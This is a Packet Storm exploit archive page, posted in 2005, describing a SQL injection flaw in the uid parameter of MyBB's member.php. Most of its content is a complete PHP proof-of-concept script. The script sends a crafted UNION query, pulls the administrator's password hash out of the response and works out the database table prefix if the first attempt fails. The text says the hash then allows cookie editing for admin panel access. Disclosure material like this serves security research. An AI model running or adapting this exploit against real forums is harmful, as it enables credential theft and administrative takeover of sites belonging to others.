all things security

mybbSQL.txt

mybbSQL.txt
Posted Jan 5, 2005
Authored by scottm

MyBB is prone to a SQL injection attack within the uid parameter of member.php. The flaw allows for retrieval of the admin password hash. Sample exploit provided.

tags | exploit, php, sql injection
MD5 | e6d1d80285c702f9aef7e683bff126fb

mybbSQL.txt

Change Mirror Download


Description:
MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. MyBB has been designed with the end users in mind, you and your subscribers. Full control over your discussion system is presented right at the tip of your fingers, from multiple styles and themes to the ultimate customisation of your forums using the template system.

Exploit:
MyBB is prone to an SQL injection within the uid paramater of member.php, a Union attack can be used to obtain the admin password hash. The appropriate cookies can then be edited to allow admin panel access.

Proof of concept:
<?php
// the example below will attack http://www.example.com/mybb/
echo 'Pass:' . get_pass('www.example.com', '/mybb', '');

function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

$query = implode('&', $query);

$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);

$allah = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;
}
fclose($fp);

preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $allah, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}

return $password;
}

?>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close